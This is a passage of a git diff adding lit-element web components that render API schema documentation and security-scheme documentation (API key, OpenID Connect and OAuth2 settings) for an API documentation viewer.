Symbol('anyOfUnionTemplate'); +export const anyOfOptionsTemplate = Symbol('anyOfOptionsTemplate'); +export const examplesTemplate = Symbol('examplesTemplate'); +export const exampleTemplate = Symbol('exampleTemplate'); +export const propertyDescriptionTemplate = Symbol('propertyDescriptionTemplate'); +export const propertyDescriptionEditor = Symbol('propertyDescriptionEditor'); +export const checkSchemaPropertyUpdate = Symbol('checkSchemaPropertyUpdate'); +export const propertyDecoratorTemplate = Symbol('propertyDecoratorTemplate'); +export const toggleExpandedProperty = Symbol('toggleExpandedProperty'); + +const complexTypes = [ + ns.w3.shacl.NodeShape, + ns.aml.vocabularies.shapes.UnionShape, + ns.aml.vocabularies.shapes.ArrayShape, + ns.aml.vocabularies.shapes.TupleShape, +]; + +export default class ApiSchemaDocumentElement extends ApiDocumentationBase { + static get styles() { + return [commonStyles, schemaStyles, elementStyles, MarkdownStyles]; + } + + get mimeType() { + return this[mimeTypeValue]; + } + + set mimeType(value) { + const old = this[mimeTypeValue]; + if (old === value) { + return; + } + this[mimeTypeValue] = value; + this.requestUpdate('mimeType', old); + if (value) { + setTimeout(() => { + this[processSchema](); + this.requestUpdate(); + }); + } + } + + /** + * @returns {ApiShapeUnion} + */ + get schema() { + return this[schemaValue]; + } + + /** + * @param {ApiShapeUnion} value + */ + set schema(value) { + const old = this[schemaValue]; + if (old === value) { + return; + } + this[schemaValue] = value; + this.processGraph(); + } + + static get properties() { + return { + /** + * The mime type to use to render the examples. + */ + mimeType: { type: String, reflect: true }, + /** + * Generates examples from the schema properties for the given mime type + * when examples are not defined in the schema. + */ + forceExamples: { type: Boolean, reflect: true }, + /** + * When set it allows to manipulate the properties. + * This is to be used with a combination with the `edit` property. + */ + editProperties: { type: Boolean, reflect: true }, + /** + * When set it renders the title with lower emphasis and adding `schema` prefix. + */ + schemaTitle: { type: Boolean, reflect: true }, + }; + } + + constructor() { + super(); + /** + * @type {ApiShapeUnion} + */ + this[schemaValue] = undefined; + /** + * @type {SchemaExample[]} + */ + this[examplesValue] = undefined; + /** + * @type {string[]} + */ + this[expandedValue] = undefined; + /** + * @type {Record} + */ + this[selectedUnionsValue] = undefined; + /** + * @type {string} + */ + this[propertyDescriptionEditor] = undefined; + /** + * @type {string} + */ + this.mimeType = undefined; + /** @type boolean */ + this.forceExamples = undefined; + /** @type boolean */ + this.editProperties = undefined; + /** @type boolean */ + this.schemaTitle = undefined; + /** @type Shape */ + this.domainModel = undefined; + } + + /** + * @returns {Promise} + */ + async processGraph() { + const { domainModel, domainId, amf } = this; + if (domainModel) { + this[schemaValue] = this[serializerValue].unknownShape(domainModel); + } + this[expandedValue] = []; + this[selectedUnionsValue] = {}; + + if (domainId && amf) { + const declares = this._computeDeclares(amf); + const references = this._computeReferences(amf); + const model = this._computeType(declares, references, domainId); + if (model) { + this[schemaValue] = this[serializerValue].unknownShape(model); + } + } + + this[processSchema](); + await this.requestUpdate(); + } + + /** + * The logic to perform after schema is ready. + * This processes examples for the schema. + */ + [processSchema]() { + const type = this[schemaValue]; + if (!type) { + this[examplesValue] = undefined; + return; + } + const anyShape = /** @type ApiAnyShape */ (type); + const { examples=[] } = anyShape; + let examplesCopy = [...examples]; + if (Array.isArray(type.inherits) && type.inherits.length) { + type.inherits.forEach((item) => { + const anyParent = /** @type ApiAnyShape */ (item); + if (Array.isArray(anyParent.examples) && anyParent.examples.length) { + examplesCopy = examplesCopy.concat([...anyParent.examples]); + } + }); + } + if (Array.isArray(examplesCopy) && examplesCopy.length) { + examplesCopy = examplesCopy.filter((i) => !!i.value || !!i.structuredValue); + } + if (Array.isArray(examplesCopy) && examplesCopy.length) { + this[examplesValue] = this[evaluateExamples](examplesCopy); + } else { + const { mimeType, forceExamples } = this; + this[examplesValue] = undefined; + if (mimeType && forceExamples) { + const selectedUnions = []; + const all = this[selectedUnionsValue]; + Object.keys(all).forEach((id) => { + if (!selectedUnions.includes(all[id])) { + selectedUnions.push(all[id]); + } + }); + const result = ApiSchemaGenerator.asExample(type, mimeType, { + selectedUnions, + }); + if (result) { + this[examplesValue] = [result]; + } + } + } + } + + /** + * @param {ApiExample[]} examples The list of examples to evaluate + * @returns {SchemaExample[]} + */ + [evaluateExamples](examples) { + return examples.map((example) => this[evaluateExample](example)) + } + + /** + * @param {ApiExample} example The example to evaluate + * @returns {SchemaExample} + */ + [evaluateExample](example) { + const { mimeType } = this; + const generator = new ApiExampleGenerator(); + const value = generator.read(example, mimeType); + const { name, displayName } = example; + const label = displayName || name; + const result = /** @type SchemaExample */ ({ + ...example, + renderValue: value, + }); + if (label && !label.startsWith('example_')) { + result.label = label; + } + return result; + } + + /** + * Checks the current schema whether it contains a property with the given id + * and if so it updates its value. + * @param {ApiShapeUnion} schema + * @param {string} id + * @param {any} updated + */ + [checkSchemaPropertyUpdate](schema, id, updated) { + if (!schema) { + return; + } + const { types } = schema; + if (types.includes(ns.w3.shacl.NodeShape)) { + const type = /** @type ApiNodeShape */ (schema); + const { properties } = type; + for (let i = 0, len = properties.length; i < len; i++) { + const property = properties[i]; + if (property.id === id) { + properties[i] = updated; + this.requestUpdate(); + return; + } + if (property.range && property.range.id === id) { + property.range = updated; + this.requestUpdate(); + return; + } + } + return; + } + if (types.includes(ns.aml.vocabularies.shapes.UnionShape)) { + const type = /** @type ApiUnionShape */ (schema); + const { anyOf, or, and } = type; + if (Array.isArray(anyOf) && anyOf.length) { + anyOf.forEach((item) => this[checkSchemaPropertyUpdate](item, id, updated)); + } + if (Array.isArray(or) && or.length) { + or.forEach((item) => this[checkSchemaPropertyUpdate](item, id, updated)); + } + if (Array.isArray(and) && and.length) { + and.forEach((item) => this[checkSchemaPropertyUpdate](item, id, updated)); + } + return; + } + if (types.includes(ns.aml.vocabularies.shapes.ArrayShape) || types.includes(ns.aml.vocabularies.shapes.MatrixShape)) { + const type = /** @type ApiArrayShape */ (schema); + if (type.items) { + this[checkSchemaPropertyUpdate](type.items, id, updated) + } + } + } + + /** + * @param {Event} e + */ + [expandHandler](e) { + const button = /** @type HTMLElement */ (e.currentTarget); + const { id } = button.dataset; + this[toggleExpandedProperty](id); + } + + /** + * @param {KeyboardEvent} e + */ + [expandKeydownHandler](e) { + if (e.code !== 'Space') { + return; + } + e.preventDefault(); + const button = /** @type HTMLElement */ (e.currentTarget); + const { id } = button.dataset; + this[toggleExpandedProperty](id); + } + + /** + * Toggles an "expanded" state for a property children. + * @param {string} id Parent property id that has children to toggle visibility of. + */ + [toggleExpandedProperty](id) { + const list = this[expandedValue]; + const index = list.indexOf(id); + if (index === -1) { + list.push(id); + } else { + list.splice(index, 1); + } + this.requestUpdate(); + } + + [anyOfSelectedHandler](e) { + const { selected, dataset } = e.target + const { schema } = dataset; + if (!schema) { + return; + } + this[selectedUnionsValue][schema] = selected; + this[processSchema](); + this.requestUpdate(); + } + + render() { + const schema = this[schemaValue]; + if (!schema) { + return html``; + } + return html` + ${this[titleTemplate]()} + ${this[descriptionTemplate](schema.description)} + ${this[examplesTemplate]()} + ${this[schemaContentTemplate](schema)} + `; + } + + /** + * @returns {TemplateResult|string} The template for the schema title. + */ + [titleTemplate]() { + const schema = this[schemaValue]; + const { name, displayName } = schema; + const label = displayName || name; + if (label === 'schema') { + return ''; + } + const { schemaTitle } = this; + const headerCss = { + 'schema-title': true, + 'low-emphasis': !!schemaTitle, + }; + const prefix = schemaTitle ? 'Schema: ' : ''; + return html` +
+
+ ${prefix}${label} +
+
+ `; + } + + /** + * @returns {TemplateResult|string} The template for the examples section. + */ + [examplesTemplate]() { + const examples = this[examplesValue]; + if (!Array.isArray(examples)) { + return ''; + } + const filtered = examples.filter((item) => !!item.renderValue); + if (!filtered.length) { + return ''; + } + return html` +
+ ${filtered.map((item) => this[exampleTemplate](item))} +
+ `; + } + + /** + * @param {SchemaExample} item + * @returns {TemplateResult|string} The template for a single example + */ + [exampleTemplate](item) { + const { description, renderValue, label } = item; + return html` +
+ Example${label ? `: ${label}` : ''} +
+ ${description ? html`
${description}
` : ''} +
${renderValue}
+
+
+ `; + } + + /** + * @param {ApiShapeUnion} schema The shape to render. + * @returns {TemplateResult|string} The template for the schema properties depending on the type + */ + [schemaContentTemplate](schema) { + const { types } = schema; + if (types.includes(ns.aml.vocabularies.shapes.ScalarShape)) { + return this[scalarShapeTemplate](/** @type ApiScalarShape */ (schema)); + } + if (types.includes(ns.w3.shacl.NodeShape)) { + return this[nodeShapeTemplate](/** @type ApiNodeShape */ (schema)); + } + if (types.includes(ns.aml.vocabularies.shapes.UnionShape)) { + return this[unionShapeTemplate](/** @type ApiUnionShape */ (schema)); + } + if (types.includes(ns.aml.vocabularies.shapes.FileShape)) { + return this[fileShapeTemplate](/** @type ApiFileShape */ (schema)); + } + if (types.includes(ns.aml.vocabularies.shapes.SchemaShape)) { + return this[schemaShapeTemplate](/** @type ApiSchemaShape */ (schema)); + } + if (types.includes(ns.aml.vocabularies.shapes.ArrayShape) || types.includes(ns.aml.vocabularies.shapes.MatrixShape)) { + return this[arrayShapeTemplate](/** @type ApiArrayShape */ (schema)); + } + if (types.includes(ns.aml.vocabularies.shapes.TupleShape)) { + return this[tupleShapeTemplate](/** @type ApiTupleShape */ (schema)); + } + return this[anyShapeTemplate](/** @type ApiAnyShape */ (schema)); + } + + /** + * @param {ApiScalarShape} schema + * @returns {TemplateResult|string} The template for the scalar shape. + */ + [scalarShapeTemplate](schema) { + return scalarDetailsTemplate(schema, true); + } + + /** + * @param {ApiNodeShape} schema + * @returns {TemplateResult} The template for the node shape. + */ + [nodeShapeTemplate](schema) { + const { properties, inherits } = schema; + let items = [...(properties || [])]; + if (Array.isArray(inherits) && inherits.length) { + inherits.forEach((item) => { + if (item.types.includes(ns.w3.shacl.NodeShape)) { + const typed = /** @type ApiNodeShape */ (item); + items = items.concat([...(typed.properties || [])]); + } + }); + } + if (!items.length) { + return html` +
Properties are not defined for this schema.
+ `; + } + return html` +
+ ${items.map((item) => this[shapePropertyTemplate](item))} +
+ `; + } + + // /** + // * @param {ApiShapeUnion[]} parents + // * @returns {TemplateResult[]|undefined} + // */ + // [inheritedTemplate](parents) { + // if (!Array.isArray(parents) || !parents.length) { + // return undefined; + // } + // const parts = []; + // parents.forEach((item) => { + // const tpl = this[schemaContentTemplate](item); + // if (tpl) { + // parts.push(tpl); + // } + // }); + // if (!parts.length) { + // return undefined; + // } + // return parts; + // } + + /** + * @param {ApiUnionShape} schema + * @returns {TemplateResult|string} The template for the union shape. + */ + [unionShapeTemplate](schema) { + const unionTemplate = unionDetailsTemplate(schema); + const { anyOf, or, and } = schema; + if (Array.isArray(anyOf) && anyOf.length) { + const schemaContent = this[anyOfUnionTemplate](schema.id, anyOf); + return html` + ${unionTemplate} + ${schemaContent} + `; + } + if (Array.isArray(or) && or.length) { + const schemaContent = this[anyOfUnionTemplate](schema.id, or); + return html` + ${unionTemplate} + ${schemaContent} + `; + } + if (Array.isArray(and) && and.length) { + const items = and.map((item) => html` +
+ ${this[schemaContentTemplate](item)} +
+ `); + return html` +
+ ${items} +
+ `; + } + return unionTemplate; + } + + /** + * @param {string} schemaId + * @param {ApiShapeUnion[]} items + * @returns {TemplateResult} The template for the `any of` union. + */ + [anyOfUnionTemplate](schemaId, items) { + const allSelected = this[selectedUnionsValue]; + let selected = allSelected[schemaId]; + let renderedItem = /** @type ApiShapeUnion */ (null); + if (selected) { + renderedItem = items.find((item) => item.id === selected); + } else { + [renderedItem] = items; + selected = renderedItem.id; + } + const options = items.map((item, index) => { + const label = item.name || item.displayName || `Option #${index + 1}`; + return { + label, + id: item.id, + } + }); + return html` +
+ ${this[anyOfOptionsTemplate](schemaId, options, selected)} + ${this[schemaContentTemplate](renderedItem)} +
+ `; + } + + /** + * @param {string} schemaId The parent schema id value + * @param {any[]} options The options to render. + * @param {string} selected + * @returns {TemplateResult} The template for the union any of selector. + */ + [anyOfOptionsTemplate](schemaId, options, selected) { + return html` +
+ + + ${options.map((item) => html`${item.label}`)} + +
+ `; + } + + /** + * @param {ApiFileShape} schema + * @returns {TemplateResult|string} The template for the file shape. + */ + [fileShapeTemplate](schema) { + return fileDetailsTemplate(schema); + } + + /** + * @param {ApiSchemaShape} schema + * @returns {TemplateResult} The template for the schema shape. + */ + [schemaShapeTemplate](schema) { + const { raw } = schema; + if (!raw) { + return html` +
Schema is not defined for this message.
+ `; + } + return html` +
+
${raw}
+
+ `; + } + + /** + * @param {ApiArrayShape} schema + * @returns {TemplateResult} The template for the array shape. + */ + [arrayShapeTemplate](schema) { + const { items } = schema; + if (!items) { + return html`
Items are not defined for this array.
`; + } + return html` +
+ ${this[schemaContentTemplate](items)} +
+ `; + } + + /** + * @param {ApiTupleShape} schema + * @returns {TemplateResult} The template for the tuple shape. + */ + [tupleShapeTemplate](schema) { + const { items } = schema; + if (!items) { + return html`
Items are not defined for this array.
`; + } + return html` +
+ ${items.map((item) => this[schemaContentTemplate](item))} +
+ `; + } + + /** + * @param {ApiAnyShape} schema + * @returns {TemplateResult|string} The template for the Any shape. + */ + [anyShapeTemplate](schema) { + const { and, or } = schema; + if (and.length || or.length) { + return this[unionShapeTemplate](/** @type ApiUnionShape */ (schema)); + } + return html`

Any schema is accepted as the value here.

`; + } + + /** + * @param {ApiPropertyShape} schema + * @returns {TemplateResult} The template for the schema property item. + */ + [shapePropertyTemplate](schema) { + const { range, minCount } = schema; + if (!range) { + return this[shapePropertyWithoutRangeTemplate](schema); + } + const { displayName, deprecated } = range; + const required = minCount > 0; + const type = readPropertyTypeLabel(range); + const label = schema.name || displayName || range.name; + const [domainType] = range.types; + + let isComplex = complexTypes.includes(domainType); + if (isComplex) { + if (range.types.includes(ns.aml.vocabularies.shapes.ArrayShape)) { + const { items } = /** @type ApiArrayShape */ (range); + isComplex = complexTypes.includes(items.types[0]); + } + } + const allExpanded = this[expandedValue]; + const expanded = isComplex && allExpanded.includes(schema.id); + return html` +
+
+
+
+ ${this[propertyDecoratorTemplate](isComplex, expanded, schema.id)} + ${paramNameTemplate(label, required, deprecated)} + + ${typeValueTemplate(type)} +
+
+ ${this[propertyDescriptionTemplate](schema)} +
+
+ ${detailsTemplate(range)} +
+
+
+ ${expanded ? html` +
+
+ ${this[schemaContentTemplate](range)} +
+ ` : ''} + `; + } + + /** + * @param {boolean} isComplex + * @param {boolean} expanded + * @param {string} schemaId + * @returns {TemplateResult} THe template for the line decorator in front of the property name. + */ + [propertyDecoratorTemplate](isComplex, expanded, schemaId) { + const toggleIcon = isComplex ? html` + ${chevronRight} + ` : ''; + const decoratorClasses = { + 'property-decorator': true, + scalar: !isComplex, + object: !!isComplex, + }; + const toggleHandler = isComplex ? this[expandHandler] : undefined; + const keydownHandler = isComplex ? this[expandKeydownHandler] : undefined; + const tabIndex = isComplex ? '0' : '-1'; + return html` +

${toggleIcon}
+ `; + } + + /** + * @param {ApiPropertyShape} schema + * @returns {TemplateResult} The template for the schema property item that has no range information. + */ + [shapePropertyWithoutRangeTemplate](schema) { + const { minCount, name, displayName, deprecated } = schema; + const label = name || displayName || 'Unnamed property'; + const required = minCount > 0; + return html` +
+
+ ${paramNameTemplate(label, required, deprecated)} +
+ Unknown type +
+
+
+ ${this[propertyDescriptionTemplate](schema)} +
+
+ `; + } + + /** + * @param {ApiPropertyShape} schema + */ + [propertyDescriptionTemplate](schema) { + const { range, description } = schema; + if (!range || description) { + return this[descriptionTemplate](description); + } + return this[descriptionTemplate](range.description); + } +} diff --git a/src/elements/ApiSecurityDocumentElement.js b/src/elements/ApiSecurityDocumentElement.js new file mode 100644 index 0000000..1fc5738 --- /dev/null +++ b/src/elements/ApiSecurityDocumentElement.js @@ -0,0 +1,646 @@ +/* eslint-disable no-param-reassign */ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import { ns } from '@api-components/amf-helper-mixin'; +import { MarkdownStyles } from '@advanced-rest-client/highlight'; +import '@advanced-rest-client/highlight/arc-marked.js'; +import '@anypoint-web-components/anypoint-tabs/anypoint-tab.js'; +import '@anypoint-web-components/anypoint-tabs/anypoint-tabs.js'; +import { + ApiDocumentationBase, + paramsSectionTemplate, + schemaItemTemplate, + serializerValue, + descriptionTemplate, +} from './ApiDocumentationBase.js'; +import commonStyles from './styles/Common.js'; +import elementStyles from './styles/ApiSecurityDocument.js'; +import schemaStyles from './styles/SchemaCommon.js'; +import '../../api-parameter-document.js'; +import '../../api-response-document.js' + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityScheme} ApiSecurityScheme */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityRequirement} ApiSecurityRequirement */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityApiKeySettings} ApiSecurityApiKeySettings */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityOpenIdConnectSettings} ApiSecurityOpenIdConnectSettings */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityOAuth2Settings} ApiSecurityOAuth2Settings */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityOAuth2Flow} ApiSecurityOAuth2Flow */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityScope} ApiSecurityScope */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiResponse} ApiResponse */ +/** @typedef {import('@api-components/amf-helper-mixin').SecurityScheme} SecurityScheme */ +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ +/** @typedef {import('@anypoint-web-components/anypoint-tabs').AnypointTabs} AnypointTabs */ + +export const querySecurity = Symbol('querySecurity'); +export const processSecurity = Symbol('processSecurity'); +export const securityValue = Symbol('securityValue'); +export const titleTemplate = Symbol('titleTemplate'); +export const queryParamsTemplate = Symbol('queryParamsTemplate'); +export const headersTemplate = Symbol('headersTemplate'); +export const responsesValue = Symbol('responsesValue'); +export const preselectResponse = Symbol('preselectResponse'); +export const responseContentTemplate = Symbol('responseContentTemplate'); +export const responseTabsTemplate = Symbol('responseTabsTemplate'); +export const responseTemplate = Symbol('responseTemplate'); +export const statusCodeHandler = Symbol('statusCodeHandler'); +export const settingsTemplate = Symbol('settingsTemplate'); +export const apiKeySettingsTemplate = Symbol('apiKeySettingsTemplate'); +export const openIdConnectSettingsTemplate = Symbol('openIdConnectSettingsTemplate'); +export const oAuth2SettingsTemplate = Symbol('oAuth2SettingsTemplate'); +export const apiKeyHeaderExample = Symbol('apiKeyHeaderExample'); +export const apiKeyCookieExample = Symbol('apiKeyCookieExample'); +export const apiKeyQueryExample = Symbol('apiKeyQueryExample'); +export const exampleTemplate = Symbol('exampleTemplate'); +export const oAuth2FlowsTemplate = Symbol('oAuth2FlowsTemplate'); +export const oAuth2GrantsTemplate = Symbol('oAuth2GrantsTemplate'); +export const oAuth2FlowTemplate = Symbol('oAuth2FlowTemplate'); +export const getLabelForGrant = Symbol('getLabelForGrant'); +export const accessTokenUriTemplate = Symbol('accessTokenUriTemplate'); +export const authorizationUriTemplate = Symbol('authorizationUriTemplate'); +export const refreshUriTemplate = Symbol('refreshUriTemplate'); +export const scopesTemplate = Symbol('scopesTemplate'); +export const scopeTemplate = Symbol('scopeTemplate'); +export const grantTitleTemplate = Symbol('grantTitleTemplate'); +export const setModel = Symbol('setModel'); +export const computeReferenceSecurity = Symbol('computeReferenceSecurity'); + +/** + * A web component that renders the documentation page for an API response object. + */ +export default class ApiSecurityDocumentElement extends ApiDocumentationBase { + static get styles() { + return [commonStyles, elementStyles, MarkdownStyles, schemaStyles]; + } + + static get properties() { + return { + /** + * When set it opens the parameters section + */ + parametersOpened: { type: Boolean, reflect: true }, + /** + * When set it opens the headers section + */ + headersOpened: { type: Boolean, reflect: true }, + /** + * When set it opens the response section + */ + responsesOpened: { type: Boolean, reflect: true }, + /** + * When set it opens the settings section + */ + settingsOpened: { type: Boolean, reflect: true }, + /** + * The selected status code in the responses section. + */ + selectedStatus: { type: String }, + }; + } + + /** + * @returns {ApiSecurityScheme|undefined} + */ + get securityScheme() { + return this[securityValue]; + } + + /** + * @param {ApiSecurityScheme} value + */ + set securityScheme(value) { + const old = this[securityValue]; + if (old === value) { + return; + } + this[securityValue] = value; + this[processSecurity](); + this.requestUpdate(); + } + + constructor() { + super(); + /** + * @type {ApiSecurityScheme} + */ + this[securityValue] = undefined; + /** + * @type {ApiResponse[]} + */ + this[responsesValue] = undefined; + /** + * @type {string} + */ + this.selectedStatus = undefined; + + this.headersOpened = false; + this.parametersOpened = false; + this.settingsOpened = false; + /** @type {SecurityScheme} */ + this.domainModel = undefined; + } + + /** + * @returns {Promise} + */ + async processGraph() { + const { domainId, domainModel, amf } = this; + if (domainModel) { + this[setModel](domainModel); + return; + } + if (!domainId || !amf) { + this[setModel](); + return; + } + const declares = this._computeDeclares(amf); + let result; + if (declares) { + result = declares.find((item) => item['@id'] === domainId); + } + if (result) { + result = this._resolve(result); + this[setModel](result); + return; + } + const references = this._computeReferences(amf); + if (Array.isArray(references) && references.length) { + for (const ref of references) { + if (this._hasType(ref, this.ns.aml.vocabularies.document.Module)) { + result = this[computeReferenceSecurity](ref, domainId); + if (result) { + result = this._resolve(result); + this[setModel](result); + return; + } + } + } + } + this[setModel](); + } + + /** + * Computes a security model from a reference (library for example). + * @param {DomainElement} reference AMF model for a reference to extract the data from + * @param {string} selected Node ID to look for + * @return {any|undefined} Type definition or undefined if not found. + */ + [computeReferenceSecurity](reference, selected) { + const declare = this._computeDeclares(reference); + if (!declare) { + return undefined; + } + let result = declare.find((item) => { + if (Array.isArray(item)) { + [item] = item; + } + return item['@id'] === selected; + }); + if (Array.isArray(result)) { + [result] = result; + } + return this._resolve(result); + } + + /** + * @param {SecurityScheme=} model + */ + [setModel](model) { + if (model) { + this[securityValue] = this[serializerValue].securityScheme(model); + } else { + this[securityValue] = undefined; + } + this[processSecurity](); + this.requestUpdate(); + } + + async [processSecurity]() { + const scheme = this[securityValue]; + if (!scheme) { + this[responsesValue] = undefined; + return; + } + const { responses=[] } = scheme; + this[responsesValue] = responses; + this[preselectResponse](); + } + + /** + * Updates the `selectedStatus` if not selected or the current selection doesn't + * exists in the current list of responses. + */ + [preselectResponse]() { + const responses = this[responsesValue]; + if (!Array.isArray(responses) || !responses.length) { + return; + } + const { selectedStatus } = this; + if (!selectedStatus) { + this.selectedStatus = responses[0].statusCode; + return; + } + const selected = responses.find((item) => item.statusCode === selectedStatus); + if (selected) { + return; + } + this.selectedStatus = responses[0].statusCode; + } + + /** + * A handler for the status code tab selection. + * @param {Event} e + */ + [statusCodeHandler](e) { + const tabs = /** @type AnypointTabs */ (e.target); + this.selectedStatus = String(tabs.selected); + } + + /** + * @param {string} grant The oauth2 grant (flow) name + * @returns {string} Friendly name for the grant. + */ + [getLabelForGrant](grant) { + switch (grant) { + case "implicit": + return "Implicit"; + case "authorization_code": + case "authorizationCode": + return "Authorization code"; + case "password": + return "Password"; + case "client_credentials": + case "clientCredentials": + return "Client credentials"; + default: + return grant; + } + } + + render() { + const scheme = this[securityValue]; + if (!scheme) { + return html``; + } + return html` + ${this[titleTemplate]()} + ${this[descriptionTemplate](scheme.description)} + ${this[queryParamsTemplate]()} + ${this[headersTemplate]()} + ${this[responseTemplate]()} + ${this[settingsTemplate]()} + `; + } + + [titleTemplate]() { + const scheme = this[securityValue]; + const { name, type, displayName } = scheme; + const title = displayName || name; + return html` +
+
+ ${title} +
+

${type}

+
+ `; + } + + /** + * @return {TemplateResult|string} The template for the query parameters + */ + [queryParamsTemplate]() { + const scheme = this[securityValue]; + if (!Array.isArray(scheme.queryParameters) || !scheme.queryParameters.length) { + return ''; + } + const content = scheme.queryParameters.map((param) => this[schemaItemTemplate](param)); + return this[paramsSectionTemplate]('Parameters', 'parametersOpened', content); + } + + /** + * @return {TemplateResult|string} The template for the headers + */ + [headersTemplate]() { + const scheme = this[securityValue]; + if (!Array.isArray(scheme.headers) || !scheme.headers.length) { + return ''; + } + const content = scheme.headers.map((param) => this[schemaItemTemplate](param)); + return this[paramsSectionTemplate]('Headers', 'headersOpened', content); + } + + [responseTemplate]() { + const responses = this[responsesValue]; + if (!Array.isArray(responses) || !responses.length) { + return ''; + } + const content = html` + ${this[responseTabsTemplate](responses)} + ${this[responseContentTemplate](responses)} + `; + return this[paramsSectionTemplate]('Responses', 'responsesOpened', content); + } + + /** + * @param {ApiResponse[]} responses The responses to render. + * @returns {TemplateResult} The template for the responses selector. + */ + [responseTabsTemplate](responses) { + const { selectedStatus } = this; + const filtered = responses.filter((item) => !!item.statusCode); + return html` +
+ + ${filtered.map((item) => html`${item.statusCode}`)} + +
+
+ `; + } + + /** + * @param {ApiResponse[]} responses The responses to render. + * @returns {TemplateResult} The template for the currently selected response. + */ + [responseContentTemplate](responses) { + const { selectedStatus } = this; + const response = responses.find((item) => item.statusCode === selectedStatus); + if (!response) { + return html`
Select a response to render the documentation.
`; + } + return html` + + `; + } + + /** + * @returns {TemplateResult|string} The template for the security settings, when required. + */ + [settingsTemplate]() { + const scheme = this[securityValue]; + const { settings } = scheme; + if (!settings) { + return ''; + } + const { types } = settings; + if (types.includes(ns.aml.vocabularies.security.ApiKeySettings)) { + return this[apiKeySettingsTemplate](settings); + } + if (types.includes(ns.aml.vocabularies.security.OpenIdConnectSettings)) { + return this[openIdConnectSettingsTemplate](settings); + } + if (types.includes(ns.aml.vocabularies.security.OAuth2Settings)) { + return this[oAuth2SettingsTemplate](/** @type ApiSecurityOAuth2Settings */ (settings)); + } + return ''; + } + + /** + * @param {ApiSecurityApiKeySettings} settings + * @returns {TemplateResult} The template for API Key security definition. + */ + [apiKeySettingsTemplate](settings) { + const { in: paramLocation='Unknown', name } = settings; + const content = html` +
+
Location: ${paramLocation}
+ ${name ? html`
Parameter: ${name}
` : ''} +
+ ${paramLocation === 'header' ? this[apiKeyHeaderExample](name) : ''} + ${paramLocation === 'cookie' ? this[apiKeyCookieExample](name) : ''} + ${paramLocation === 'query' ? this[apiKeyQueryExample](name) : ''} + `; + return this[paramsSectionTemplate]('Settings', 'settingsOpened', content); + } + + /** + * @param {string} name The name of the API Key parameter + * @returns {TemplateResult} The template for API Key header example + */ + [apiKeyHeaderExample](name) { + const value = `${name}: abcdef12345`; + return this[exampleTemplate](value); + } + + /** + * @param {string} name The name of the API Key parameter + * @returns {TemplateResult} The template for API Key cookie example + */ + [apiKeyCookieExample](name) { + const value = `Cookie: ${name}=abcdef12345`; + return this[exampleTemplate](value); + } + + /** + * @param {string} name The name of the API Key parameter + * @returns {TemplateResult} The template for API Key query parameter example + */ + [apiKeyQueryExample](name) { + const value = `GET /api?${name}=abcdef12345`; + return this[exampleTemplate](value); + } + + /** + * @param {string} value + * @returns {TemplateResult} The template for a single example + */ + [exampleTemplate](value) { + return html` +
+ Example +
+
${value}
+
+
+ `; + } + + /** + * @param {ApiSecurityOpenIdConnectSettings} settings + * @returns {TemplateResult|string} The template for API Key security definition. + */ + [openIdConnectSettingsTemplate](settings) { + const { url } = settings; + if (!url) { + return ''; + } + const content = html` +
+
OpenID Connect Discovery URL
+
+
${url}
+
+
+ `; + return this[paramsSectionTemplate]('Settings', 'settingsOpened', content); + } + + /** + * @param {ApiSecurityOAuth2Settings} settings + * @returns {TemplateResult|string} The template for OAuth 2 security definition. + */ + [oAuth2SettingsTemplate](settings) { + const { authorizationGrants=[], flows=[] } = settings; + if (!authorizationGrants.length && !flows.length) { + return ''; + } + const content = []; + const grants = this[oAuth2GrantsTemplate](authorizationGrants); + const flowsContent = this[oAuth2FlowsTemplate](flows); + if (grants) { + content.push(/** @type TemplateResult */(grants)); + } + if (flowsContent) { + content.push(/** @type TemplateResult */(flowsContent)); + } + return this[paramsSectionTemplate]('Settings', 'settingsOpened', content); + } + + /** + * @param {string[]} grants + * @returns {TemplateResult|string} The template for OAuth 2 flows list. + */ + [oAuth2GrantsTemplate](grants) { + if (!grants.length) { + return ''; + } + return html` +

Authorization grants

+
    + ${grants.map(grant => html`
  • ${grant}
  • `)} +
+ `; + } + + /** + * @param {ApiSecurityOAuth2Flow[]} flows + * @returns {TemplateResult|string} The template for OAuth 2 flows list. + */ + [oAuth2FlowsTemplate](flows) { + if (!flows.length) { + return ''; + } + return html` + ${flows.map((flow) => this[oAuth2FlowTemplate](flow))} + `; + } + + /** + * @param {ApiSecurityOAuth2Flow} flow + * @returns {TemplateResult} The template for an OAuth 2 flow. + */ + [oAuth2FlowTemplate](flow) { + const { scopes, accessTokenUri, authorizationUri, refreshUri, flow: grant } = flow; + return html` +
+ ${this[grantTitleTemplate](grant)} + ${this[accessTokenUriTemplate](accessTokenUri)} + ${this[authorizationUriTemplate](authorizationUri)} + ${this[refreshUriTemplate](refreshUri)} + ${this[scopesTemplate](scopes)} +
+ `; + } + + /** + * @param {string} grant The grant name + * @returns {TemplateResult|string} The template for OAuth 2 grant title. + */ + [grantTitleTemplate](grant) { + if (!grant) { + return ''; + } + return html` +
+

${this[getLabelForGrant](grant)}

+
`; + } + + /** + * @param {string} uri The access token URI + * @returns {TemplateResult|string} The template for the access token URI + */ + [accessTokenUriTemplate](uri) { + if (!uri) { + return ''; + } + return html` +
+
Access token URI
+
+
${uri}
+
+
`; + } + + /** + * @param {string} uri The access token URI + * @returns {TemplateResult|string} The template for the authorization endpoint URI + */ + [authorizationUriTemplate](uri) { + if (!uri) { + return ''; + } + return html` +
+
Authorization URI
+
+
${uri}
+
+
`; + } + + /** + * @param {string} uri The access token URI + * @returns {TemplateResult|string} The template for the refresh token endpoint URI + */ + [refreshUriTemplate](uri) { + if (!uri) { + return ''; + } + return html` +
+
Token refresh URI
+
+
${uri}
+
+
